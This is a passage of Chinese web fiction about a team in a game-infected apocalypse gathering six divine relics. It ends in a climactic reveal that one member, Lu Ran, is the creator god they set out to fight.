陆燃摇摇头：“没什么感觉。” 江朗依旧皱着眉, 显然并没有因此而放下心来。 不过不管他能不能放下心, 他们都得进行下一步行动了, 不可能因为这种原因停留在原地。 然后就出现了连续七八个幻月之庭空间泡的情况，实在很难不让人感慨——它们早去哪了？ 在谭峰的带领下，车队浩浩荡荡地朝着下一个标注出的空间泡而去。 “准备。” 谭峰的车消失在虚空中时, 江朗习惯性地跟后座所有人说了一句，然后就开向了谭峰那辆车消失的地方。 “咕嘟嘟——” “咕嘟嘟——” 后座的众人震惊地睁大了眼睛并且努力划拉起了双臂。 无他，他们一进空间泡周围就是一大片液体。 周亮口中咕嘟嘟地吐着泡泡，努力地打开了后座的车门，和其他人一块前后“飘”了出来。 然后他们看见前方游过来了一个人人影。 是梁凌。 梁凌是来发氧气面罩的，一人一个，发到江朗手上的时候，江朗抬头，正好看见梁凌用唇语说道：“吃一堑吃一堑哈。” 江朗：“……” 然后梁凌停在原地不动了，因为后面陆续会有别的车队进来，他就把守在这发放氧气面罩，他比划了一下，示意江朗他们把自己的车往前推。 于是，一群明明开着车进来的人，现在只能推着车前进。 后续进来的人也全都经历了同样的震惊无措与无奈，一个个地从车里飘出来，接过梁凌的氧气面罩带上，然后齐心协力把自己队伍的车向前推去。 眼看着自己的库存瞬间少了两大包氧气面罩，梁凌叹了口气，早知道里面是这么个情况，就别让这么多人进来了。 所有人呼吸无碍后，才终于看向了周围。 这是一片……深蓝色的水体，水不算特别清澈，但可见度尚可。 喇叭算是没用了，江朗用手比划着各个队伍各自集结，朝不同的方向而去。 梁凌则游向了宅男哥，然后指了指他的胸腔左侧。 宅男哥看向那根落在自己搏动这的心脏上的手指，第一反应还以为是自己被威胁了，过了几秒才反应过来梁凌的意思是——这次轮到他了。 梁凌之前给他补了课，不过就算没补课，他也翻了太多遍《神域》的设定集。 会有这种环境的神殿只有一个——属于母皇的血池。 不过他们运气也真是有够好的，如果母皇的神殿和游戏里一个构造的话，他们是刚来就撞上了占地面积1%的中心区域啊。 在其他后进入血池的小队都出发后，他们小队也陆续向前游去，他们这次必须尽快找到属于母皇的那部分遗骸，进来的人太多，梁凌虽然出于未知的理由囤了超级多氧气面罩，但即使是他的存货，也不足以支撑所有人在这个空间泡内呆太久。 他们半游半漂浮地向前，深蓝色的血池中同样漂浮着一些污染物，体型比常见的污染物还大些，但攻击欲望似乎不强，他们头顶飘过一片黑影，黑压压地像是驶过了一艘巨轮，但也和巨轮一样，他们头顶的不管是什么，都没有展露出一丝一毫的攻击欲望。 陆燃跟在梁凌后面，顺手解决掉一只不知道从哪窜出来的污染物，但他的视野其实已经蔓延到了整个血池之中。 比如他们头顶刚刚游过去的那艘“巨轮”，它并不是真的是不攻击的死物，它大张着嘴，将一切行进路线上的生物吞噬，只是它并没有向下沉的能力——甚至没有向下看的能力，于是压根不知道它肚皮底下游过了一群美味的食物。 再比如刚刚那只自以为在“偷袭”他们的污染物，它有拟态，透明且可变色的身体在深蓝的水体中几乎不可见，只有小小的眼珠会暴露它，很可惜，陆燃在它的视角里看见了自己，简单判断一下方位和距离后，它的偷袭就跟明袭毫无差别了。 再比如这血池中各色正在到处漂浮的污染物。 它们似乎没有什么行动的概念，只是就那样漂浮着而已。 这让陆燃的视野很是受限，这些漂浮着的生物十几分钟都懒得变换一下自己的视角。 更不用提还有一头扎在不知道什么地方的生物，眼里只有一片漆黑。 于是陆燃有些不耐烦了。 从那一刻开始，血池的所有生物移动就不受自己或是水流方向控制了。 本来就有游泳能力的污染物摆动着自己的鳍或是不管什么用来运动的器官转动着方向，本来没有游泳能力的污染物也不得不临时发挥一下爬行或是冲刺的能力，艰难地挪动之下为陆燃提供视野。 找到了。 陆燃拍了拍宅男哥的肩膀，示意他跟上。 其他人对视一眼，立刻跟了上去。 在陆燃的带领下，一群人向前游去，与此同时，他们注意到周围的污染物全都看起来呆呆的，不是呆愣在原地不动，就是在原地转圈，于是他们看向陆燃。 虽然知道陆燃得到了属于“月”的那份遗骨后，实力大为增强，他们也知道具体增强的方向——简单说就是，从现在开始，他的精神链接就不再受范围和时间限制了，甚至不受“控制”这个概念本身的限制，陆燃可以控制周围的所有生物，也可以不控制，只是分享它们的存在。 但是知道归知道，这还是他们第一次见到陆燃使用增强后的精神链接。 而这场景……令人不安而畏惧。 整个人浸在水中的时候，一个人会觉得世界特别安静，而此时这种安静更甚，到了一种令人毛骨悚然的地步。 ——陆燃现在可以随时随地控制任何人。 当然，他们这些玩家都是有解控技能的，身上也一般带着几张解控卷轴，但是……他们没问陆燃，如果他现在要控制一个人，对方使用了解控技能，他能立刻补上这个控制吗？ 大概率是能的。 谭峰紧盯着陆燃的背影，唇边划出一个坚毅的角度。 他低估了“月”的能力。 梁凌给他们喋喋不休地讲《神域》历史的时候，提过当初的神战其实本质就是月领头想要反抗创世神，其他五个执政神最多只能算是听祂的指挥行事。 他心中涌起一阵深深的不安与担忧。 这些天的相处下来，他其实已经对陆燃建立起了信任。 该怎么说呢……陆燃是个没什么在乎的事的人。 大部分人在末世会过得更肆意一点，做那些末世前自己想做而不敢做的事，不再压抑自己的情绪去做对的事——反正压抑也不会再有用。 但是陆燃似乎是一个活在末世前的人。 当然江朗也是。 他们两个人其实很奇怪，江朗依旧把末世当末世前的生活过，积极向上，努力救人，每天最大的烦恼就是今天该吃什么。 陆燃也依旧过着属于他的末世前生活，什么都不在乎，他救人只是因为江朗想这么做，他就顺便一起了，与其说他是在救人，不如说他只是单纯在和江朗打游戏，只不过他们这个游戏的范围是这整个世界。 这样一个人并不是一个常规意义上的好人，但也更能令人信任，因为他没兴趣做个好人的同时更没兴趣做个坏人。 谭峰知道陆燃不太可能会突然有一天决定反水，决定做个大反派毁灭这个世界。 但是他现在确实拥有这种能力，而这让他很不安。 他深吸了一口气，将自己这种不安压了下去，他们现在是一个战斗团队，对团队里的人生出不信任是合作战斗的大忌。 不知什么时候，前方的陆燃已经停了下来。 谭峰也跟着停了下来。 然后他们抬起头，看见了一颗巨大的跳动着的“心脏”。 陆燃朝江朗比了个手势，示意他将所有人安排到该安排的地方去。 因为以他上次的经验，一旦宅男哥开始融合这颗心脏，这个空间泡内的污染物大概都会暴动，他可以暂时控制住它们，但不排除会有污染物会通过自残的方式来摆脱精神链接的影响。 江朗游来游去，将每个小队都安排到了该去的位置上去，只待宅男哥将心脏融合完毕，他们就发起攻击。 这样一番折腾下来，江朗看了看表，已经过去了一小时，幸好全部搞定了。 他朝陆燃比了个手势，示意他一切已经准备就绪。 陆燃则向宅男哥招了招手，于是在众人注视之下，宅男哥一脸紧张地飘向了那颗心脏。 陆燃跟他们说过，只要触碰就行，这些器官有寄生与吞噬的倾向。 他一脸严肃地将右手放了上去。 这颗巨大的心脏在他手掌下搏动，搏动速度极快，几乎要将他自己的心脏跳动一块带到一种他无法承受的速度。 他感受着自己鼓膜的震动，强忍着那种因为心跳过快而带来的眩晕与恶心，有那么一瞬间，他感到非常恐惧，因为他不知道到底是自己去融合这个心脏，还是这颗心脏来融合他。 不过十几秒后，这种恐惧就消失了。 没别的原因，因为他手掌下——这么说似乎有点太蔑视这颗心脏的大小了——他手掌紧贴着这颗心脏，并没有任何要溶解然后没入他体内的意思。 他困惑地皱了皱眉，看向了梁凌和陆燃的方向。 梁凌在水中挠了挠头，用动作向他示意了他也不知道这是怎么回事，或者说他们本来就不知道和遗骨融合的过程会是什么样的，只有陆燃的经验而已，也许……每个遗骨的融合方式都不同呢。 陆燃显然也很困惑，因为他游了上来，试图检查一下这颗心脏有什么问题。 而就在那时，这颗巨大的心脏开始溶解了。 深蓝到近乎漆黑的黏稠液体在水体中蔓延开来，所有人迅速后退，幸好它们并未真正蔓延开来，而是像是一盘倒带的影碟一样快速地又朝宅男哥的方向“缩”了回去。 江朗抬起手，示意所有人准备进攻。 然后，空间泡消失了。 江朗：“？” 刚做好血战准备的众人：“？” 发生什么了？ 甚至陆燃也皱了皱眉，这整个过程未免有些太轻松了，从找到心脏所在到让宅男哥融合，简直就像这个空间泡主动在向他们“献上”心脏一样。 空地上所有人都摘下了氧气面罩开始叽叽喳喳了起来，闹腾跟菜市场一样。 陆燃走向宅男哥，这个空间泡的过于“配合”先放在一边，他还有个别的问题要问宅男哥. 宅男哥迷茫地抬起头：“奇怪的声音？你指什么？其实我当时有点耳鸣，如果你是指那种耳朵在震一样的奇怪声音的话，我确实听到了。” 陆燃摇了摇头：“不是，有没有……像是有人在对你说话的声音。” 宅男哥：“？” 虽然他对这个问题感到非常困惑，但他还是思考了一下，并给出了回答： “没有。” 第112章 第 112 章 书，嘴，生命，灵魂…… “你为什么这么问？” 宅男哥一脸迷茫的时候, 一直在旁边盯着陆燃的谭峰突然问道。 “你有听到什么吗？” 他紧紧地盯着陆燃，试图从他的脸上找到一丝一毫的能透露他在想什么的表情。 但陆燃仅是若有所思地沉默了一会儿，然后摇了摇头：“没有。” 然后他就转身离开了, 谭峰皱着眉，盯着他的背影, 似乎想要目光从他身上挖掘出他在隐瞒的东西, 但陆燃看上去确实没什么在隐瞒的，他很普通地开始和江朗说话了，不管是从表情还是身体姿势上看，都非常轻松, 并不像是心里有事的样子。 而就算他有什么瞒着他们的事, 他看起来也绝不像是会能被挖出来的样子, 谭峰只能按下心头的困惑, 先做正事。 经历了血池后，不光梁凌又去补货了氧气面罩, 这下就连队伍里的其他人也从各种地方扫荡来了氧气面罩, 似乎一个个都心有余悸，生怕再来这么一遭。 不过他们接下来再也没遇到过类似的场景, 毕竟, 根据梁凌所说，血池在母皇的神殿里也就占了那么点地方。 接下来的事就比较无聊了。 他们很快就搞定了大部分谭峰的地图上标注出来的空间泡, 哪怕因为生怕错失任何可能, 他们在空间泡里蹉跎良久, 但即使是这样, 其实在空间泡里的时间也远远赶不上赶路的时长，所以周亮忍不住吐槽——“这远征还真是远征啊，天天尽赶路了。” 好在, 他们终于还是在士气彻底低迷之前找到了下一个遗骨所在地。 那是秘识之厅的神殿。 不得不说，秘识之厅长得真的非常朴素，而且范围极广，江朗上辈子遇到过的各种各样平平无奇的空间泡，其实基本都是属于秘识之厅的。 平平无奇，方方正正的“建筑”，和游戏里那个古希腊风格的圣殿真是半点不沾边。 不过其实秘识之厅是有特点的，它的占地面积最广以至于大部分人自发撞入的空间泡都是秘识之厅的理由其实是它需要大量的墙壁来书写历史和知识，虽然那些墙壁上的划痕很长一段时间都被江朗误认为是战斗痕迹…… 于是他们进入后，由陆燃负责控制空间泡内的污染物，新晋母皇继承人——宅男哥则在他身边呆着，随时准备给他挡刀，其他人分散开去寻找书分到的那份遗骨，而梁凌则掏出了他的小本本，沿着墙壁一路记录一路翻译。 因为知道梁凌在记录完这里所有墙壁上的“文字”之前是不会允许他们破坏空间泡的，所以其他人心态相当放松，找得慢悠悠的，大部分时间都和在郊游差不多。 结果这帮人一开始消极怠工，要寻找的目标反而就自己冒出来了。 一条消息沿着人流传到了江朗这边，他呆了一下，立刻前往消息来处。 然后他看见了“书”。 那是一块巨大的石板，石板上是稀疏的线条，大概就是它们的文字。 江朗立时有点呆滞。 这就是他要融合的……“遗骨”吗？ 不管陆燃和宅男哥融合的东西多大多奇怪，至少还是有机体，但是他面前的这玩意儿完全就是石头吧！ 他皱着脸，虽然想象不出他要怎么融合这块大石头，但是他还是和它保持了距离，万一一不小心融合了他们没准就会和上次宅男哥融合那颗大心脏一样出去了，那梁凌一定会气得和他决斗的。 “这就是书分到的那份遗骨？” 陆燃不知道什么时候已经来到了他身后。 江朗一脸复杂地点了点头：“这真能和活物融合吗？我有点怀疑书本人……本神长什么样了。” 他脑子里莫名浮现出了一个很卡通的形象，一个人吞下了一本巨大的书所以整个身体变成了拉长后四四方方的样子。 陆燃：“超自然力量有超自然的方法。” 江朗叹了口气。 不过他们现在倒是真的没事做了，所有人原地扎营，等着梁凌做记录。 梁凌的速度倒是挺快的，毕竟他已经习惯了在不知情的佣兵团中快速扫描快速记录，而且他对《神域》体系的文字已经熟悉到了一种令人咋舌的地步，于是他们也就等了一天一夜，梁凌就已经记录完了墙面上的内容，并将目光转向了他们发现的那块大石板。 他也不敢靠太近，幸好石板上的字够大够清晰，他快速记录下上面的所有内容后，敲了敲自己已经彻底僵硬的脖子，对着陆燃和江朗的方向点了点头，示意他们自己已经搞定，他们可以做下一步了。 于是原本正在啃面包的江朗深吸了一口气，站了起来，走向了那块巨大的石板。 陆燃紧跟在他身后，防止出现任何不可控的状态。 江朗挠了挠头，慢慢地伸出右手，放在了那块石板上。 他有点担心会不会出现无法融合的情况，但是他的担心似乎是没必要的，因为就在他的手放上去后没几秒，那块巨大的，坚硬的石板，开始逐渐融化。 不是融化成像蜡那样的质地，而是像变成了水泥差不多，快速地向他涌来。 江朗睁大了双眼，眼睁睁地看着它彻底消失在自己手掌下方，而他的手掌已经覆上了一层灰白色的石质表层。 他抬起手，正反看了看，挑了挑眉，最后倒是挺开心地看向了陆燃：“看，和你同款。” 陆燃：“……” 然后，这个空间泡也消失了，所有污染物都还在，都安静地在陆燃控制之下，但它就这样彻底隐去了，他们重新回到了现实世界。 接下来，就又是漫长的赶路。 不过这两百人的“军团”倒是没什么可抱怨的，他们来的时候还以为自己要壮烈战斗呢，结果现在天天跟郊游一样，虽然没了为了地球英勇牺牲的机会，但是能不牺牲肯定是让人高兴的。 一个月后，他们闯入了一个一看就很重要的地方。 没别的，这地方的墙壁上画满了同一个图案。 一个椭圆，椭圆上则上下都有竖线。 周亮和宅男哥凑在其中一个图案面前看了半天。 “这是言灵者的地盘吧？” 梁凌在他们身后“嗯”了一声。 然后这两人齐齐地露出了一言难尽的表情。 语言教会在《神域》这个游戏里不是什么知名景点，没什么人乐意去，不是因为建筑修得不好看，而是因为太掉san了。 整个语言教会的内墙上都画着他们教会的标志——一张被缝起来的嘴。 密密麻麻的，看得人一哆嗦那种。 但是…… 周亮终于还是没忍住：“没有冒犯外星人的意思，但我们地球人的审美还是好太多了……” 是的，游戏里的那一大堆图案虽然让人掉san但设计上还是可圈可点的，他们面前这玩意儿……知道是被缝起来的嘴，不知道还以为是什么正在呐喊的古生物呢…… 大家伙已经熟门熟路了，围观了一下这个神殿的构造后，很快就分散开去找和“嘴”这个东西可能相关的物品。 而且还挺简单的，毕竟之前他们都没有图案参照，鬼知道外星人的脑子心脏长什么样，但是这次他们可是有实打实的参照的——墙壁上那丑不拉几的就是他们概念里的嘴，照着找就行。 梁凌这次也加入了寻找大军，毕竟墙壁上都是图案没有他能记录的新信息。 在经过大半天的搜索后，他们成功找到了目标物体。 普通地吸收，普通地退出空间泡。 “只有我一个人觉得太过轻易了吗？” 谭峰皱着眉问。 梁凌犹豫了一下自己到底现在能不能说话，毕竟他现在已经获得了类似于神格之类的玩意儿，他现在讲出的任何乌鸦嘴的内容都有可能实现。 于是他比划了一个毫无意义的手势，示意自己听到了，但不想作答，你们可以自行推测不想作答的原因——显然就是我也觉得太轻松了！ 陈希耸了耸肩：“反正我答应过来的时候可没想过实际体验只是到处乱逛。” 宅男哥挠了挠头：“我有一个理论。” 陈希挑了挑眉：“展开说说？” 陈希不看他倒还好，她的目光落到宅男哥身上之后，他立刻就下意识地往陆燃和江朗身后躲——他不习惯和女生说话啊！ 陈希看着他一路向后打跌：“……” 她无奈地背过身去：“现在你能说话了吗？” 没有了目光“压力”，宅男哥虽然依旧不安，但还是稍微松了口气，小心翼翼地说：“我的想法是这样的，我们第一次夺取遗骨的时候确实很困难不是吗？属于月的那一份遗骨，创世神的大脑，虽然据陆燃所说更像是一只腕足……” 陈希没忍住背着身说：“你能说重点吗？” 宅男哥瞬间满脸涨红，后半句话像是直接憋在了嗓子眼里，他发出了像是人临死前才会有的从气管里往外送气的声音，但他又犹豫了一下，陈希并没有转过身来，他这算在和女生对话吗？ 纠结一番之后，他决定这应该不算，于是磕绊了几下后继续往下说： “……总之，我的想法是这样的，可能本来不会那么轻松的，但是梁凌说其他五神是跟着月一起推翻创世神的对吧，那么说明，月的实力应该远在祂们之上，而且没准祂们本来也没有月那么坚定，所以当祂们——虽然在沉睡状态——或者祂们的信徒发现月的遗骨已经被控制了，那它们可能就丧失了大半的战斗意志，你们觉得呢？” “听起来倒是挺有道理的。” “好吧，反正不用打架总是好事。” “……”（这是梁凌） 宅男哥的理论得到了广泛的认同，很快，大部分人不再纠结为什么这趟本应充满了战斗的旅程如此轻松，而是继续开始享受这场大型“郊游”。 很快，他们又缴获了属于医生职业的那份遗骨。 至此，六个神殿，六份遗骨，只剩下了最后一份尚未被夺取。 死者的地盘就是他们之前见到过的那种满坑满谷都是幽灵与白骨的地方，当初把周胤吓个半死，不过现在好多了，毕竟是两百人一块进空间泡，再恐怖的场景也被这种大部队的吵闹氛围冲散了…… 但是，这种空间泡的特点就是好进不好出，在梁凌之前的讲解中，A市小组也知道了他们之前被困那么久又突然被放出来了的原因是什么——在《神域》这个游戏里，亡灵是无限复活机制，因为它们本身只是亡灵法师召唤出来的召唤物，而且因为《神域》走的是召唤物堆数量而不是堆质量的路线，所以亡灵有无限复活机制并不怎么会影响职业平衡，毕竟游戏里亡灵法师和亡灵们的区别还是很大的，玩家们知道该往哪攻击，唯一的问题就是，因为污染物在地球人看来都长一个风格，所以空间泡里的亡灵法师就没那么好找了。 他们被困那么久，就是因为没找到那个对应的亡灵法师，结果就被该亡灵法师带着一大堆亡灵顺利逃走了——当然，它们在逃离之后正好正面撞上谭峰，然后被谭峰夺取了就是另外一回事了。 这个麻烦的特性让A市小组忧心忡忡，一直很担心他们再撞上类似的空间泡之后该怎么办？梁凌他们有预案吗？ 还真有。 在陆燃的精神链接技能被大大增强后，他对污染物的无论是控制范围还是控制力度都达到了足以覆盖整个空间泡的同时强行读取它们脑内此时的想法和回忆的程度。 而陆燃也在多次的控制中找到了要点。 那就是亡灵本身虽然也会在脑中产生回忆，甚至一样鲜活，但是它们和一个尚且存活的亡灵法师的真正区别是，它们的记忆片段通常是几个片段反复重复，而亡灵法师闪现的记忆就要丰富得多。 凭借着这一区别，他们成功地脱离了好几个死者的神殿。 在这一点上，其他人也不得不再次庆幸，他们首先获得的是月的遗骨，不然一想到要在亡灵白骨堆里鬼打墙就头疼啊…… 由于只剩一份遗骨要找，剩下的事轻松许多，除了死者的神殿以外，其他空间泡所有人速进速出，除了偶有秘识之厅的神殿出现时，梁凌需要花点时间记录，除此以外，都是所有人快速消灭其中的污染物然后退出，前往下个目标，只在有亡灵的空间泡内仔细搜索。 漫长的几次迁徙过去，他们终于又一次成功撞入了满是飘荡着的幽灵与爬行着的白骨的空间泡。 周胤忍不住一哆嗦，怕鬼这个事儿吧，真没有那么好克服，虽然在乌泱泱的大部队陪伴之下，他已经能淡定在一堆亡灵里呆着了，但是每次刚一打照面的时候，他还是会条件反射式哆嗦一下。 然后他看向了陆燃。 陆燃没什么动作，但所有人都知道，他已经行动了，因为原本那些“活泼”的亡灵们，现在已经尽数僵在了原地，周胤壮着胆子仔细观察了一下那些被控制住的亡灵，它们在这样的停滞状态下，看上去有点像浑浊的水晶……不过水晶的质地还是太硬了，非要说的话，有点像他小时候玩过的透明且里面撒了一大堆亮片闪粉的那种劣质橡皮泥吧。 周胤在这想七想八思绪一路飘回了童年的时候，陆燃正在接收数以万计的记忆碎片。 他闭上眼，因为即使是他也无法在有外界视觉信息干扰的情况下进行这些记忆的“分拣”。 一片深黑色的精神空间内，无数光点正在闪烁。 他每一秒可以略过几十个这样的光点。 一秒就够了，因为记忆的闪现是一个极为快速的事情，短短一秒时间内，就有无数记忆片段闪现，大部分亡灵的记忆很朴素，它们的记忆中，依旧是这样漫天的黄土与石块，和这座“神殿”唯一的区别是，它们的记忆大部分是在室外形成的，绵延的黄土之上是一轮血红色的太阳，或是雾蒙蒙的重叠三月，身边大部分是空的，少部分有长得和污染物区别也不大的同伴作伴。 大部分亡灵的记忆中，都是同一个片段反复出现，一秒内这样的场景可以来回播出上百次，他迅速地略过这些只会重复的光点，前往排查下一批。 通常来说，这样快速扫视一圈后，他就能找到那个亡灵法师，同样的事他已经做了很多次，堪称是熟门熟路了。 然后。 奇怪的事发生了。 一个光点“捕捉”到了他。 他感到自己不受控地被倾泻了大量的一段又一段的记忆。 他皱了皱眉。 这很奇怪，因为精神链接虽然是个链接，所有的意识都是平行存在的，理论上来说他可以同时接入所有意识，但是同样的，他拥有这个链接的绝对控制权，他的接入是单一方向的，其他意识不可能能获取到他的记忆和想法，不仅如此，也不该能主动向他传输记忆和想法才对。 但现在发生的事就是如此。 所以他说他被“捕获”了。 无数的场景在他脑海中接连上演，红色的太阳，俯视视角的一片又一片光秃秃的石地与土地，期间偶有稍微高一些的石堆，堆叠成有意义的形状——那是建筑。 地面上行走着或者说爬行着大量的生物，奇形怪状的，但和污染物可以清晰地区分开来。 他立刻知道自己链接到了什么灵魂。 并不是此地的亡灵法师，而是属于死者的那份“遗骨”——创世神分割给了祂一块属于自己的灵魂。 而与此同时，那股烦躁、愤怒、不耐的情绪再次从他心中，脑海中疯狂地涌出，他好像能听到轰隆隆的血流声。 他再一次听见了—— “你要……成为……这个世界的……神……” “你要……成为……这个世界的……神……” 又是那个熟悉的声音！ 他感到怒火从他胸口涌起然后散布到了全身。 他睁开眼，双眼一片冰冷。 “不要。” 于是，向他飞速飘来的那片灵魂就那么停在了他身前不到一米的位置。 而他这才听到周围的各种惊呼，似乎从刚刚开始，这片灵魂脱离他的控制朝他飞来之时，所有两百号人就开始了紧急救援，不知道多少技能落到这片灵魂之上，试图在它攻击到陆燃前消灭它，只是都没有什么作用。 此时它在陆燃的“命令”之下停了下来，周围的人一时不知道该先庆幸还是先震惊。 然后他们看见陆燃将视线转向了谭峰，他的双眼有一种令人心惊肉跳的淡漠。 “谭峰，这就是死者的那份遗骨，你来融合。” 谭峰站在原地，无意识地皱起了眉。 陆燃：“怎么了吗？” 他的视线始终锁定在谭峰身上，但他说后一句话的时候，看上去更像是……正常状态的陆燃了，让人觉得他刚刚双眼中的冰冷淡漠只是一瞬间的错觉，其实只是他们看错了，那只是陆燃一贯的懒得动用表情而已。 只是，谭峰并不觉得自己看错了。 但胜利近在眼前，他没有任何理由说不，就算说了不，他又有任何备用计划吗？ 于是，他摇了摇头：“没怎么。” 然后他走上了前，在陆燃的注视之下，将右手伸到了那片冰凉的灵体之上。 第113章 第 113 章 来吧！大决战 “紧张吗？” 陈希一边烤棉花糖一边问他们。 陆燃生的火堆旁围了包括他在内的总共六个人。 他们离最终的那个空间泡已经很近很近了。 而其他人, 早已被他们解散了，并在他们的要求下尽可能地远离这个空间泡所在的方位。 毕竟，万一他们还是失败了, 离得越远就代表活下来的可能越高。 他们也明确告知了这些人有背包的一定要记得找到藏身的地方之后把背包里的食物物资全都拿出来，因为过了某个时刻, 背包和技能都可能会凭空消失。 宅男哥还特意嘱托于檬和陈嘉佳去趟A市把他的漫画和小说都搬走吧。 总之, 除了地球大概率会彻底陷落以外没说，能说的都说了。 所以，就剩他们六个人了。 陈希在烤棉花糖，谭峰盯着火堆不知道在想什么, 梁凌在做叫花鸡, 但他不知道要烧多久, 所以拿着条小木棍时不时扒拉一下, 宅男哥在抓紧时间喝可乐，他决心要把陆燃和江朗背包里的可乐在进入空间泡以前全喝完, 陆燃和江朗则在烤土豆。 陈希好奇地问完紧不紧张之后, 看向其他人，陆燃和江朗一副没事人的样子, 谭峰在走神, 疑似完全没听到她的问题，梁凌倒是想回答她, 或者说, 他现在什么话题都乐意掺和一下, 但是他不能开口, 自从得到了“嘴”的那部分遗骨之后，他就一句话都没说过了，他需要将所有的言灵之力留在最后的那场战斗上。 所以这里确实紧张也确实能回答她的人就只剩下宅男哥了, 可惜啊……宅男哥那没法和超过十六岁女性说话的毛病还是没治好，陈希的目光一落到他身上，他就吭哧吭哧了起来，使劲将脑袋往胸口埋。 陈希忍不住笑了一下，又问：“结束后，你们有什么想做的事吗？” 宅男哥憋得满脸通红，梁凌在一旁幸灾乐祸，没想到除了他以外还有人能体会到这种想说话想回答但没法说的体验。 江朗似乎完全不知道陈希只是在逗宅男哥玩，他停下了旋转土豆的动作，兴致勃勃地思考了起来：“结束之后吗？如果结束得够快，我们放出来的冰柜还没有彻底融化的话，就赶紧先把冰柜放回背包里，不过如果一切真的能结束，磁场是不是也会恢复了，我们会重新有电吗？” 陈希认真思考了一下：“应该会有吧，根据我们之前的研究和推测，磁场恢复的可能性还是不低的。” 江朗：“那就很好了，再之后的话……我和陆燃应该会找个安静点的地方住下来吧。” 陈希看了看他又看了看陆燃：“你们俩感情真好，末世里见过太多情侣因为各种各样的事分道扬镳了，呃，倒不是说末世前这种事就见少了，不过末世前很多人还是会因为一些表面和平利益权衡之类的理由在外表演一下的对吧，然后末世来了之后这种表演就很不划算了，总之，我一开始可能说错了，应该说你们俩感情不光好得在末世里很罕见，在末世前也挺罕见。” 江朗被凭空呛到了：“不不不，我和陆燃不是情侣……” 他顿了一下，脸纠结地皱了一下：“等等，等等……哦对我们是情侣。” 陈希：“？” 她迷惑地看向陆燃。 陆燃那张在她印象中一向冰冷淡漠的脸庞此刻特别生动地翻了个白眼：“我们不是情侣，他怕我去和人谈恋爱所以占了这个名头。” 陈希：“？？？” 是她落伍了吗？她应该也就比这俩小孩大个几岁吧？真就三年一代沟？ 她一脸困惑地啃着棉花糖琢磨了半天这俩人到底什么关系。 然后，天就亮了。 趁着视野好，继续开车上路。 就这样走走停停，江朗终于看见那片熟悉的山谷。 上一世走入这片山谷的时候，他还以为这只是一个普通的顶多有些难搞的空间泡。 真是恍若……确实是隔世了啊。 谭峰一脸严肃地转过头来问他们：“都准备好了吗？” 剩余五人不太整齐地点了点头，但意思至少在那了。 于是谭峰深吸了一口气，转向空间泡的入口。 他眼前好像闪过了老友的脸，他握了握拳，率先走入了空间泡内。 走入后，谭峰江朗梁凌这三个已经来过的人第一反应是警戒，剩余三人则是先看了一圈周围。 还有上下。 这依旧是一处密闭的空间，但是比之前所有他们进入过的空间泡都要宽广高挑。 他们小心翼翼地朝前走去。 确实如江朗所说，这个特别的空间泡几乎蔓延无边际，原本应该轻松走到的边界始终没有出现。 宅男哥紧张地在心中默念着自己待会儿要发起的连招，他的战斗经验不是很丰富，所以前几天抓着陆燃和江朗两个人排了半天可能出现的所有战斗情况，他到时候只要按推演中的情况行动就行！ 江朗紧紧地抓着陆燃的手，陆燃能感受到他手心的汗正在缓缓流下来，他看向江朗，江朗显而易见的紧绷，双眼紧紧地盯着前方，身体微妙地侧身，呈现一个“保护”姿态，哪怕他很清楚陆燃不需要他的保护，真有陆燃解决不了的危险，他大概率也做不了什么，但是陆燃也知道，江朗始终没有从看着他死亡这件事中恢复过，回到这个一切发生之地，他还能保持情绪稳定都算一个奇迹了。 他稍微在手上加大了点力气，江朗看向他，然后缓缓，缓缓地平静了下来。 没事的。他对自己说。他们不就是为了保证不会有任何队友被那个创世神附身才只让六个人进入的吗……不会再有上次的事发生了，这次能发生的最坏的事也就是死亡，而他还带着复活道具。 于是他的呼吸渐渐平静了下来。 陆燃朝他点点头，他们继续向前。 谭峰：“快到了，所有人准备。” 宅男哥立刻绷紧了身体，脑子里快速回忆着小抄，其他人没他那么严重，不过也都放慢了呼吸。 然后，陆燃听到了。 那个熟悉的声音。 “你要……成为……这个世界的……神……” “你要……成为……这个世界的……神” “你要……” “你要……” 陆燃感到胸口的怒火再次绵延而起，他很想怒问这个声音——为什么非要缠着他？他不想做这个狗屁神！地球好好地活了这么久也没见需要一个神啊！ 然后，他就再也看不见周围的场景了。 哦不，他不是瞎了，只是所有东西都诡异地离他远去了，像是在飞速下降一般。 几秒后，他意识到，不是周围的景色在飞速下降，是他在飞速上升。 因为经过某一个节点后，周围落下了窸窸窣窣的石块，在他眼里只是一片一片的雪花般的粉末，但是他还保留着人类时的记忆，所以他知道，他是撞碎了他们头顶几十米处的那片岩壁，落下的正是那些岩壁接连破裂后掉落的石块，显然这些不可能是“粉末”。 然后他看见了天空之中的红色的太阳，安静的，永恒不变的太阳。 然后他想起来了。 “你要……成为这个世界的……神……” 他脑海中再一次响起了这句恼人的话，魔音一般回绕在他耳边，但是他终于意识到了，或者说，他终于想起来了。 那道声音其实早就已经不在了。 在他耳边不断回响着的，不过是关于那道声音的回忆。 在很久很久以前，一切都尚未发生之前，有个声音对他说： “你要……成为……这个世界的……神……” 是个非常恼人的声音，不停在他意识中回荡，恼人到他忘记一切的时候都还记得自己有多讨厌这句话。 这道声音在他意识中徘徊了不知多久后，他醒来，创世，因为嫌麻烦给世界安了个固定的太阳，气候什么的并不重要，反正人类也不需要太多地方居住。 然后是什么来着？ 祂的六个好孩子，怎能会愚蠢成这样？ 祂们为什么会觉得可以用来源于祂的力量打败祂？ 于是祂顺势撕开了时空通道，找了个安静的，没有神也没有宇宙意志的世界安静生活。 偏偏祂愚蠢的造物们啊，一定要找上门来。 那就迎来最终的审判吧。 对他们的愚蠢的审判。 那一瞬间，地球上每一个人都惊恐地发现，自己周围突然多出了一大堆的污染物，他们正在担心自己能不能抗住这些污染物的袭击之时，就发现那些污染物周围燃烧起了烈火，它们在火焰的灼烧中发出了奇怪的尖叫，那尖叫如此有韵律，一瞬间他们还以为它们口中吐出的是语言。 然后是所有玩家，得到过谭峰他们提前警告的玩家们还好，已经知道自己很有可能会失去游戏系统，那些没得到过警告的玩家们的状态就糟糕多了，在污染物与凭空升起的天火包围之中或惊恐或愤怒或不愿意接受事实。 然后他们看见了，那轮已经彻底变为血红的太阳之下，有一个巨大的身影正在冉冉升起。 仅是这么一眼，无数人就感到自己的大脑一片空白与混乱。 “陆燃——！” 祂低头。 一个小小的人影正在不停溶解与重塑。 他身边有四具尸体。 “陆燃——！” 他像蜡烛一样融化。 于是祂低下头。 祂问：“你要说什么？” 能承受祂的意识侵入的人类并不存在，于是他的溶解程度更严重了，血肉簌簌地掉落。 